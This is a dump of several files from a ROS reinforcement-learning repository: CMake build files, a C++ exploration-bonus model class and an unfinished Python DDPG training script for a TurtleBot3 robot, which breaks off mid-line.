rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/taxi.cc.o\n.PHONY : src/Env/taxi.cc.o\n\nsrc/Env/taxi.i: src/Env/taxi.cc.i\n\n.PHONY : src/Env/taxi.i\n\n# target to preprocess a source file\nsrc/Env/taxi.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/taxi.cc.i\n.PHONY : src/Env/taxi.cc.i\n\nsrc/Env/taxi.s: src/Env/taxi.cc.s\n\n.PHONY : src/Env/taxi.s\n\n# target to generate assembly for a file\nsrc/Env/taxi.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/taxi.cc.s\n.PHONY : src/Env/taxi.cc.s\n\nsrc/Env/tworooms.o: src/Env/tworooms.cc.o\n\n.PHONY : src/Env/tworooms.o\n\n# target to build an object file\nsrc/Env/tworooms.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/tworooms.cc.o\n.PHONY : src/Env/tworooms.cc.o\n\nsrc/Env/tworooms.i: src/Env/tworooms.cc.i\n\n.PHONY : src/Env/tworooms.i\n\n# target to preprocess a source file\nsrc/Env/tworooms.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/tworooms.cc.i\n.PHONY : src/Env/tworooms.cc.i\n\nsrc/Env/tworooms.s: src/Env/tworooms.cc.s\n\n.PHONY : src/Env/tworooms.s\n\n# target to generate assembly for a file\nsrc/Env/tworooms.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/tworooms.cc.s\n.PHONY : src/Env/tworooms.cc.s\n\nsrc/env.o: src/env.cpp.o\n\n.PHONY : src/env.o\n\n# target to build an object file\nsrc/env.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/src/env.cpp.o\n.PHONY : src/env.cpp.o\n\nsrc/env.i: src/env.cpp.i\n\n.PHONY : src/env.i\n\n# target to preprocess a source file\nsrc/env.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/src/env.cpp.i\n.PHONY : src/env.cpp.i\n\nsrc/env.s: src/env.cpp.s\n\n.PHONY : src/env.s\n\n# target to generate assembly for a file\nsrc/env.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/src/env.cpp.s\n.PHONY : src/env.cpp.s\n\n# Help Target\nhelp:\n\t@echo \"The following are some of the valid targets for this Makefile:\"\n\t@echo \"... all (the default if no target is provided)\"\n\t@echo \"... clean\"\n\t@echo \"... depend\"\n\t@echo \"... install/strip\"\n\t@echo \"... install\"\n\t@echo \"... env\"\n\t@echo \"... envlib\"\n\t@echo \"... install/local\"\n\t@echo \"... test\"\n\t@echo \"... list_install_components\"\n\t@echo \"... edit_cache\"\n\t@echo \"... rebuild_cache\"\n\t@echo \"... src/Env/CartPole.o\"\n\t@echo \"... src/Env/CartPole.i\"\n\t@echo \"... src/Env/CartPole.s\"\n\t@echo \"... src/Env/FuelRooms.o\"\n\t@echo \"... src/Env/FuelRooms.i\"\n\t@echo \"... src/Env/FuelRooms.s\"\n\t@echo \"... src/Env/LightWorld.o\"\n\t@echo \"... src/Env/LightWorld.i\"\n\t@echo \"... src/Env/LightWorld.s\"\n\t@echo \"... src/Env/MountainCar.o\"\n\t@echo \"... src/Env/MountainCar.i\"\n\t@echo \"... src/Env/MountainCar.s\"\n\t@echo \"... src/Env/RobotCarVel.o\"\n\t@echo \"... src/Env/RobotCarVel.i\"\n\t@echo \"... src/Env/RobotCarVel.s\"\n\t@echo \"... src/Env/energyrooms.o\"\n\t@echo \"... src/Env/energyrooms.i\"\n\t@echo \"... src/Env/energyrooms.s\"\n\t@echo \"... src/Env/fourrooms.o\"\n\t@echo \"... src/Env/fourrooms.i\"\n\t@echo \"... src/Env/fourrooms.s\"\n\t@echo \"... src/Env/gridworld.o\"\n\t@echo \"... src/Env/gridworld.i\"\n\t@echo \"... src/Env/gridworld.s\"\n\t@echo \"... src/Env/stocks.o\"\n\t@echo \"... src/Env/stocks.i\"\n\t@echo \"... src/Env/stocks.s\"\n\t@echo \"... src/Env/taxi.o\"\n\t@echo \"... src/Env/taxi.i\"\n\t@echo \"... src/Env/taxi.s\"\n\t@echo \"... src/Env/tworooms.o\"\n\t@echo \"... src/Env/tworooms.i\"\n\t@echo \"... src/Env/tworooms.s\"\n\t@echo \"... src/env.o\"\n\t@echo \"... src/env.i\"\n\t@echo \"... src/env.s\"\n.PHONY : help\n\n\n\n#=============================================================================\n# Special targets to cleanup operation of make.\n\n# Special rule to run CMake to check the build system integrity.\n# No rule that depends on this can have commands that come from listfiles\n# because they might be regenerated.\ncmake_check_build_system:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.7617684602737427, "alphanum_fraction": 0.7624045610427856, "avg_line_length": 73.85713958740234, "blob_id": "3292a86115a59e6d336fd82aed02a18c611334d8", "content_id": "e186bd5ee21bd20190adcdb9bded7cc2c38b9bac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 3144, "license_type": "no_license", "max_line_length": 205, "num_lines": 42, "path": "/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/DependInfo.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# The set of languages for which implicit dependencies are needed:\nset(CMAKE_DEPENDS_LANGUAGES\n \"CXX\"\n )\n# The set of files for implicit dependencies of each language:\nset(CMAKE_DEPENDS_CHECK_CXX\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/CartPole.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/CartPole.cc.o\"\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/FuelRooms.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/FuelRooms.cc.o\"\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/LightWorld.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/LightWorld.cc.o\"\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/MountainCar.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/MountainCar.cc.o\"\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/RobotCarVel.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/RobotCarVel.cc.o\"\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/energyrooms.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/energyrooms.cc.o\"\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/fourrooms.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/fourrooms.cc.o\"\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/gridworld.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/gridworld.cc.o\"\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/stocks.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/stocks.cc.o\"\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/taxi.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/taxi.cc.o\"\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/tworooms.cc\" \"/home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/tworooms.cc.o\"\n )\nset(CMAKE_CXX_COMPILER_ID \"GNU\")\n\n# Preprocessor definitions for this target.\nset(CMAKE_TARGET_DEFINITIONS_CXX\n \"ROSCONSOLE_BACKEND_LOG4CXX\"\n \"ROS_BUILD_SHARED_LIBS=1\"\n \"ROS_PACKAGE_NAME=\\\"rl_env\\\"\"\n )\n\n# The include file search paths:\nset(CMAKE_CXX_TARGET_INCLUDE_PATH\n \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_env/include\"\n \"/home/justin/catkin_ws/devel/include\"\n \"/home/justin/catkin_ws/src/rl-texplore-ros-pkg-master/src/rl_common/include\"\n \"/opt/ros/melodic/include\"\n \"/opt/ros/melodic/share/xmlrpcpp/cmake/../../../include/xmlrpcpp\"\n )\n\n# Targets to which this target links.\nset(CMAKE_TARGET_LINKED_INFO_FILES\n )\n\n# Fortran module output directory.\nset(CMAKE_Fortran_TARGET_MODULE_DIR \"\")\n" }, { "alpha_fraction": 0.7855227589607239, "alphanum_fraction": 0.7855227589607239, "avg_line_length": 36.29999923706055, "blob_id": "99a4abe078626ab8a49d761a7a56b05fe8122a61", "content_id": "7d873af9b99f5c62195975d49aedc9b171baaf63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 373, "license_type": "no_license", "max_line_length": 80, "num_lines": 10, "path": "/src/state_space_example/CMakeFiles/state_space_example.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "FILE(REMOVE_RECURSE\n \"CMakeFiles/state_space_example.dir/src/state_space_example.cpp.o\"\n \"devel/lib/state_space_example/state_space_example.pdb\"\n \"devel/lib/state_space_example/state_space_example\"\n)\n\n# Per-language clean rules from dependency scanning.\nFOREACH(lang CXX)\n INCLUDE(CMakeFiles/state_space_example.dir/cmake_clean_${lang}.cmake OPTIONAL)\nENDFOREACH(lang)\n" }, { "alpha_fraction": 0.5785378217697144, "alphanum_fraction": 0.5846863389015198, "avg_line_length": 29.881305694580078, "blob_id": "24db0de3dc70eb09eb36d15685b5f036198fce12", "content_id": "1f2351fc28ec98549e0c4aa424b3bbd01c7957ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10409, "license_type": "no_license", "max_line_length": 159, "num_lines": 337, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/ExplorationModel.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file ExplorationModel.cc\n Implements the ExplorationModel class.\n Reward bonuses based on the variance in model predictions are described in: Hester and Stone, \"Real Time Targeted Exploration in Large Domains\", ICDL 2010.\n And intrinsic reward bonuses based on variance novelty as described in:\n Hester and Stone, \"Intinrisically Motivated Model Learning for a Developing Curious Agent\", ICDL 2012.\n \\author Todd Hester\n*/\n\n#include \"ExplorationModel.hh\"\n\n\n\n\nExplorationModel::ExplorationModel(MDPModel* innermodel, int modelType, int exploreType,\n int predType, int nModels,\n float m, int numactions,\n float rmax, float qmax, float rrange,\n int nfactors, float v, float n,\n const std::vector<float> &fmax,\n const std::vector<float> &fmin, Random rng):\n modelType(modelType), exploreType(exploreType), predType(predType),\n nModels(nModels),\n M(m), numactions(numactions), rmax(rmax), qmax(qmax), rrange(rrange),\n nfactors(nfactors), v(v), n(n), rng(rng)\n{\n\n model = innermodel;\n\n MODEL_DEBUG = false; //true;\n\n cout << \"Exploration Model \" << exploreType << \", v: \" << v << \", n: \" << n << endl;\n\n featmax = fmax;\n featmin = fmin;\n\n}\n\nExplorationModel::ExplorationModel(const ExplorationModel &em):\nmodelType(em.modelType), exploreType(em.exploreType), predType(em.predType),\n nModels(em.nModels),\n M(em.M), numactions(em.numactions), rmax(em.rmax), qmax(em.qmax), rrange(em.rrange),\nnfactors(em.nfactors), v(em.v), n(em.n), rng(em.rng)\n{\n model = em.model->getCopy();\n MODEL_DEBUG = em.MODEL_DEBUG;\n featmax = em.featmax;\n featmin = em.featmin;\n statespace = em.statespace;\n}\n\nExplorationModel* ExplorationModel::getCopy(){\n ExplorationModel* copy = new ExplorationModel(*this);\n return copy;\n}\n\n\nExplorationModel::~ExplorationModel() {\n delete model;\n}\n\n\n\nbool ExplorationModel::updateWithExperiences(std::vector<experience> &instances){\n bool changed = model->updateWithExperiences(instances);\n bool visitChange = false;\n\n // keep track of which states we've been to for this mode\n for (unsigned i = 0; i < instances.size(); i++){\n if (exploreType == UNVISITED_BONUS){\n bool retval = addStateToSet(instances[i].s);\n visitChange = visitChange || retval;\n }\n\n if (exploreType == UNVISITED_ACT_BONUS || exploreType == DIFF_AND_VISIT_BONUS || exploreType == NOVEL_STATE_BONUS || exploreType == DIFF_AND_NOVEL_BONUS){\n std::vector<float> last2 = instances[i].s;\n last2.push_back(instances[i].act);\n bool retval = addStateToSet(last2);\n visitChange = visitChange || retval;\n }\n }\n\n return (changed || visitChange);\n}\n\n\n// update all the counts, check if model has changed\n// stop counting at M\nbool ExplorationModel::updateWithExperience(experience &e){\n //if (MODEL_DEBUG) cout << \"updateWithExperience \" << &last << \", \" << act\n // << \", \" << &curr << \", \" << reward << endl;\n\n bool changed = model->updateWithExperience(e);\n bool visitChange = false;\n\n // keep track of which states we've been to for this mode\n if (exploreType == UNVISITED_BONUS){\n bool retval = addStateToSet(e.s);\n visitChange = visitChange || retval;\n }\n\n if (exploreType == UNVISITED_ACT_BONUS || exploreType == DIFF_AND_VISIT_BONUS || exploreType == NOVEL_STATE_BONUS || exploreType == DIFF_AND_NOVEL_BONUS){\n std::vector<float> last2 = e.s;\n last2.push_back(e.act);\n bool retval = addStateToSet(last2);\n visitChange = visitChange || retval;\n }\n\n return (changed || visitChange);\n}\n\n\n// calculate state info such as transition probs, known/unknown, reward prediction\nfloat ExplorationModel::getStateActionInfo(const std::vector<float> &state, int act, StateActionInfo* retval){\n //if (MODEL_DEBUG) cout << \"getStateActionInfo, \" << &state << \", \" << act << endl;\n\n retval->transitionProbs.clear();\n\n float conf = model->getStateActionInfo(state, act, retval);\n\n\n //cout << \"state: \" << state[0] << \" act: \" << act;\n\n if (MODEL_DEBUG)// || (conf > 0.0 && conf < 1.0))\n cout << \"reward: \" << retval->reward << \" conf: \" << conf << endl;\n\n // check exploration bonuses\n\n // use qmax if state is unknown\n if (exploreType == EXPLORE_UNKNOWN){\n if (!retval->known){\n if (MODEL_DEBUG){\n cout << \"State-Action Unknown in model: conf: \" << conf << \" \";\n for (unsigned si = 0; si < state.size(); si++){\n cout << (state)[si] << \",\";\n }\n cout << \" Action: \" << act << endl;\n }\n retval->reward = qmax;\n retval->termProb = 1.0;\n if (MODEL_DEBUG || MODEL_DEBUG)\n cout << \" State-Action Unknown in model, using qmax \"\n << qmax << endl;\n }\n }\n\n // small bonus for unvisited states\n if (exploreType == UNVISITED_BONUS){\n if (!checkForState(state)){\n // modify reward with a bonus of n\n float newQ =retval->reward + n;\n if (MODEL_DEBUG){\n cout << \" State unvisited bonus, orig R: \"\n << retval->reward\n << \" adding n: \" << n\n << \" new value : \" << newQ\n << endl;\n }\n retval->reward = newQ;\n }\n }\n\n // small bonus for unvisited state-actions\n if (exploreType == UNVISITED_ACT_BONUS || exploreType == DIFF_AND_VISIT_BONUS){\n std::vector<float> state2 = state;\n state2.push_back(act);\n if (!checkForState(state2)){\n // modify reward with a bonus of n\n float newQ =retval->reward + n;\n if (MODEL_DEBUG){\n cout << \" State-Action unvisited bonus, orig R: \"\n << retval->reward\n << \" adding n: \" << n\n << \" new value : \" << newQ\n << endl;\n }\n retval->reward = newQ;\n }\n }\n\n // small bonus for states far from visited states with same action\n if (exploreType == NOVEL_STATE_BONUS || exploreType == DIFF_AND_NOVEL_BONUS){\n std::vector<float> state2 = state;\n state2.push_back(act);\n float featDist = getFeatDistToVisitedSA(state2);\n if (featDist > 0){\n // modify reward with proportional bonus of n\n float bonus = featDist * n;\n if (MODEL_DEBUG){\n cout << \" State-Action novel state bonus, dist: \" << featDist\n << \" n: \" << n << \", bonus, \" << bonus << endl;\n }\n retval->reward += bonus;\n }\n }\n\n // use some % of v if we're doing continuous terminal bonus\n if (exploreType == CONTINUOUS_BONUS){\n if (conf < 1.0){\n // percent of conf\n float bonus = (1.0-conf)*v;\n if (MODEL_DEBUG){\n cout << \" State-Action continuous bonus conf: \"\n << conf\n << \", using v*(1-conf): \"\n << bonus << endl;\n }\n retval->reward = bonus;\n retval->termProb = 1.0;\n }\n }\n\n // use some % of v if we're doing continuous bonus\n if (exploreType == CONTINUOUS_BONUS_R || exploreType == DIFF_AND_VISIT_BONUS || exploreType == DIFF_AND_NOVEL_BONUS){\n if (conf < 1.0){\n // percent of conf\n float bonus = (1.0-conf)*v;\n retval->reward += bonus;\n if (MODEL_DEBUG){\n cout << \" State-Action continuous bonus conf: \"\n << conf\n << \", using v*(1-conf): \"\n << bonus << endl;\n }\n }\n }\n\n // use qmax if we're doing threshold terminal bonus and conf under threshold\n if (exploreType == THRESHOLD_BONUS){\n if (conf < 0.5){\n float bonus = v;\n if (MODEL_DEBUG){\n cout << \" State-Action conf< thresh: \"\n << conf\n << \" M: \" << M\n << \", using v \"\n << v << endl;\n }\n retval->reward = bonus;\n retval->termProb = 1.0;\n }\n }\n\n // use rmax for additional thresh bonus and conf under thresh\n if (exploreType == THRESHOLD_BONUS_R){\n if (conf < 0.9){\n float bonus = v;\n retval->reward += bonus;\n if (MODEL_DEBUG){\n cout << \" State-Action conf< thresh: \"\n << conf\n << \" M: \" << M\n << \", using v \"\n << v << endl;\n }\n }\n }\n\n // visits conf\n if (exploreType == VISITS_CONF){\n if (conf < 0.5){\n float bonus = qmax;\n retval->reward += bonus;\n if (MODEL_DEBUG){\n cout << \" State-Action conf< thresh or 0 visits: \"\n << conf\n << \" M: \" << M\n << \", using qmax \"\n << qmax << endl;\n }\n retval->reward = bonus;\n retval->termProb = 1.0;\n }\n }\n\n\n if (MODEL_DEBUG)\n cout << \" Conf: \" << conf << \" Avg reward: \" << retval->reward << endl;\n if (isnan(retval->reward))\n cout << \"ERROR: Model returned reward of NaN\" << endl;\n\n return true;\n\n}\n\n// add state to set (if its not already in it)\nbool ExplorationModel::addStateToSet(const std::vector<float> &s){\n std::pair<std::set<std::vector<float> >::iterator, bool> retval;\n retval = statespace.insert(s);\n return retval.second;\n}\n\n\n// check if state is in set (so we know if we've visited it)\nbool ExplorationModel::checkForState(const std::vector<float> &s){\n return (statespace.count(s) == 1);\n}\n\n// get distance in feature space from this state to one we've visited\nfloat ExplorationModel::getFeatDistToVisitedSA(const std::vector<float> &s){\n\n // if we've visited this exact s,a then dist is 0\n if (checkForState(s)){\n return 0;\n }\n\n // otherwise go through all states and find minimum distance\n float maxDist = 0;\n unsigned nfeats = s.size()-1;\n std::vector<float> featRange(nfeats, 0);\n for (unsigned i = 0; i < nfeats; i++){\n featRange[i] = featmax[i] - featmin[i];\n maxDist += 1.0;//featmax[i] - featmin[i];\n\n //cout << \"feat \" << i << \" diff: \" << (featmax[i] - featmin[i]) << \" max: \" << maxDist << endl;\n }\n\n float minDist = maxDist;//nfeats;\n unsigned actionIndex = nfeats;\n\n for (std::set<std::vector<float> >::iterator i = statespace.begin(); i != statespace.end(); i++){\n // ignore if not the same action\n if (s[actionIndex] != (*i)[actionIndex]) continue;\n\n // otherwise, sum all features that are different\n float count = 0;\n for (unsigned j = 0; j < nfeats; j++){\n // distance based on magnitude of feature difference\n // normalize by feature range\n count += fabs(s[j] - (*i)[j]) / featRange[j];\n }\n if (count < minDist) minDist = count;\n\n }\n\n return (float)minDist/(float)nfeats;\n\n}\n\n\n" }, { "alpha_fraction": 0.7662650346755981, "alphanum_fraction": 0.7939758896827698, "avg_line_length": 50.9375, "blob_id": "67c6afa2982132708d8115dc24f100c85e7dc04a", "content_id": "8d1df2765f6af397c976f371b1f494ba65bbc8fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 830, "license_type": "no_license", "max_line_length": 103, "num_lines": 16, "path": "/build/turtlebot3_ddpg/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"turtlebot3_ddpg\")\nset(turtlebot3_ddpg_VERSION \"1.0.0\")\nset(turtlebot3_ddpg_MAINTAINER \"Pyo <[email protected]>\")\nset(turtlebot3_ddpg_PACKAGE_FORMAT \"2\")\nset(turtlebot3_ddpg_BUILD_DEPENDS \"rospy\")\nset(turtlebot3_ddpg_BUILD_EXPORT_DEPENDS \"rospy\")\nset(turtlebot3_ddpg_BUILDTOOL_DEPENDS \"catkin\")\nset(turtlebot3_ddpg_BUILDTOOL_EXPORT_DEPENDS )\nset(turtlebot3_ddpg_EXEC_DEPENDS \"rospy\")\nset(turtlebot3_ddpg_RUN_DEPENDS \"rospy\")\nset(turtlebot3_ddpg_TEST_DEPENDS )\nset(turtlebot3_ddpg_DOC_DEPENDS )\nset(turtlebot3_ddpg_URL_WEBSITE \"http://wiki.ros.org/turtlebot3_machine_learning\")\nset(turtlebot3_ddpg_URL_BUGTRACKER \"https://github.com/ROBOTIS-GIT/turtlebot3_machine_learning/issues\")\nset(turtlebot3_ddpg_URL_REPOSITORY \"https://github.com/ROBOTIS-GIT/turtlebot3_machine_learning\")\nset(turtlebot3_ddpg_DEPRECATED \"\")" }, { "alpha_fraction": 0.5780776739120483, "alphanum_fraction": 0.5962544679641724, "avg_line_length": 32.724456787109375, "blob_id": "68e7ec697b6895e8d2f2297c43308ca779fc7465", "content_id": "1501fe8090f97fb4f45f2a3ad5568927a52b6c39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10893, "license_type": "no_license", "max_line_length": 110, "num_lines": 323, "path": "/build/turtlebot3_ddpg/catkin_generated/installspace/turtlebot3_ddpg_stage_1", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n#################################################################################\n# Copyright 2018 ROBOTIS CO., LTD.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#################################################################################\n\n# Authors: Gilbert #\n\nimport rospy\nimport os\nimport json\nimport numpy as np\nimport random\nimport time\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom collections import deque\nfrom std_msgs.msg import Float32MultiArray\nfrom src.turtlebot3_ddpg.environment_stage_1 import Env\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential, load_model\nfrom tensorflow.keras.optimizers import RMSprop\nfrom tensorflow.keras.layers import Dense, Dropout, Activation, Input\n\nfrom tensorflow import keras\n\nfrom tensorflow.keras.models import Model\n\n\nEPISODES = 3000\nGAMMA = 0.99\nTAU = 0.001\n\nclass ReinforceAgent():\n def __init__(self, state_size, action_size):\n self.pub_result = rospy.Publisher('result', Float32MultiArray, queue_size=5)\n self.dirPath = os.path.dirname(os.path.realpath(__file__))\n self.dirPath = self.dirPath.replace('turtlebot3_ddpg/nodes', 'turtlebot3_ddpg/save_model/stage_1_')\n self.result = Float32MultiArray()\n self.load_model = False\n self.load_episode = 0\n self.state_size = state_size\n self.action_size = action_size\n self.episode_step = 6000\n self.target_update = 2000\n self.learning_rate = 0.00025\n self.epsilon = 1.0\n self.epsilon_decay = 0.99\n self.epsilon_min = 0.05\n self.batch_size = 32\n self.train_start = 32\n self.memory = deque(maxlen=1000000)\n\n\n\tself.TAU = 0.001 #Target Network HyperParameters\n \tself.LRA = 0.0001 #Learning rate for Actor\n\tself.LRC = 0.001 #Lerning rate for Critic\n\n self.model, self.weights, self.state2 = self.buildActor()\n self.target_model, self.target_weights, self.target_state = self.buildActor()\n\n self.critic, self.state, self.action = self.buildCritic()\n self.target_critic, _, _ = self.buildCritic()\n\n self.updateTargetModel()\n\n#added\n\n self.sess = tf.Session()\n \n self.action_gradient = tf.placeholder(tf.float32,[None, 2])\n self.params_grad = tf.gradients(self.model.output, self.model.weights, -self.action_gradient)\n grads = zip(self.params_grad, self.model.weights)\n self.optimize = tf.train.AdamOptimizer(self.learning_rate).apply_gradients(grads)\n self.sess.run(tf.global_variables_initializer())\n\n self.action_grads = tf.gradients(self.critic.output, self.action) #GRADIENTS for policy update\n#end add\n\n\n\n def buildCritic(self):\n s = keras.layers.Input(shape=(14,), name='state')\n\n d1 = Dense(512, activation='relu')(s)\n\n\n a = keras.layers.Input(shape=(2,), name='action')\n x = keras.layers.concatenate([d1, a])\n\n x = Dense(512, activation='relu')(x)\n x = Dense(512, activation='relu')(x)\n\n\n\n q_val= Dense(1, activation='sigmoid', name='main_output')(x)\n\n critic = Model(inputs=[s, a], outputs=[q_val])\n #critic.summary()\n\n critic.compile(optimizer=tf.train.AdamOptimizer(), \n loss='mse',\n metrics=['accuracy'])\n return critic, s, a\n\n def buildActor(self):\n state = keras.layers.Input(shape=(14,), name='main_input')\n\n\n x = Dense(512, activation='relu')(state)\n x = Dense(512, activation='relu')(x)\n x = Dense(512, activation='relu')(x)\n\n\n lin_vel = Dense(1, activation='sigmoid', name='lin_vel')(x)\n ang_vel = Dense(1, activation='tanh', name='ang_vel')(x)\n output = keras.layers.concatenate([lin_vel, ang_vel])\n\n actor = Model(inputs=[state], outputs=[output])\n\t#actor.summary()\n \n actor.compile(optimizer=tf.train.AdamOptimizer(), \n loss='mse',\n metrics=['accuracy'])\n\n return actor, actor.trainable_weights, state\n\n\n#added\n def train(self, states, action_grads):\n self.sess.run(self.optimize, feed_dict={\n self.state2: states,\n self.action_gradient: action_grads\n })\n\n def target_train(self):\n actor_weights = self.model.get_weights()\n actor_target_weights = self.target_model.get_weights()\n for i in xrange(len(actor_weights)):\n actor_target_weights[i] = self.TAU * actor_weights[i] + (1 - self.TAU)* actor_target_weights[i]\n self.target_model.set_weights(actor_target_weights)\n\n\n def target_train_c(self):\n critic_weights = self.target_critic.get_weights()\n critic_target_weights = self.target_critic.get_weights()\n for i in xrange(len(critic_weights)):\n critic_target_weights[i] = self.TAU * critic_weights[i] + (1 - self.TAU)* critic_target_weights[i]\n\tself.target_critic.set_weights(critic_target_weights)\n\n def gradients(self, states, actions):\n grad = self.sess.run(self.action_grads, feed_dict={\n self.state: states,\n self.action: actions\n\t})[0]\n\treturn grad\n\n#end add\n\n#Need to update\n\n#should be OK\n def updateTargetModel(self):\n #self.target_model.set_weights(self.model.get_weights())\n #self.target_critic.set_weights(self.critic.get_weights())\n\tself.target_train()\n\tself.target_train_c()\n\n\n#should be OK\n def getAction(self, state):\n if np.random.rand() <= self.epsilon:\n self.q_value = [random.uniform(0, 1.0), random.uniform(-1.0, 1.0)]\n return self.q_value\n else:\n q_value = self.target_model.predict(state.reshape(1, len(state)))\n\t q_value= q_value.flatten()\n self.q_value = q_value\n return q_value\n\n\n#should be OK\n def appendMemory(self, state, action, reward, next_state, done):\n self.memory.append((state, action, reward, next_state, done))\n\n\n#need to analyze\n####################### Put the new train and stuff in here\n###################### also make sure you actually understand what you are doing...\n\n def trainModel(self, target=False):\n env.pause_proxy()\n mini_batch = random.sample(self.memory, self.batch_size)\n X_batch = np.empty(([0,14]), dtype=np.float64)\n X_batch2 = np.empty(([0,2]), dtype=np.float64)\n Y_batch = np.empty((0), dtype=np.float64)\n\n for i in range(self.batch_size):\n states = mini_batch[i][0]\n actions = mini_batch[i][1]\n rewards = mini_batch[i][2]\n next_states = mini_batch[i][3]\n dones = mini_batch[i][4]\n\t #print len(states), \"\\n\"\n q_value = self.model.predict(states.reshape(1, len(states)))\n\n\n next_target = self.target_model.predict(next_states.reshape(1, len(next_states)))\n\n\t next_target = next_target[0][:]\n next_target = next_target.reshape(1, len())\n\n \n\t next_q = self.target_critic.predict([next_states.reshape(1, len(next_states)), next_target ])\n\n Y_sample = rewards+GAMMA*next_q\n\n\t test = states.reshape(1, len(next_states))\n X_batch = 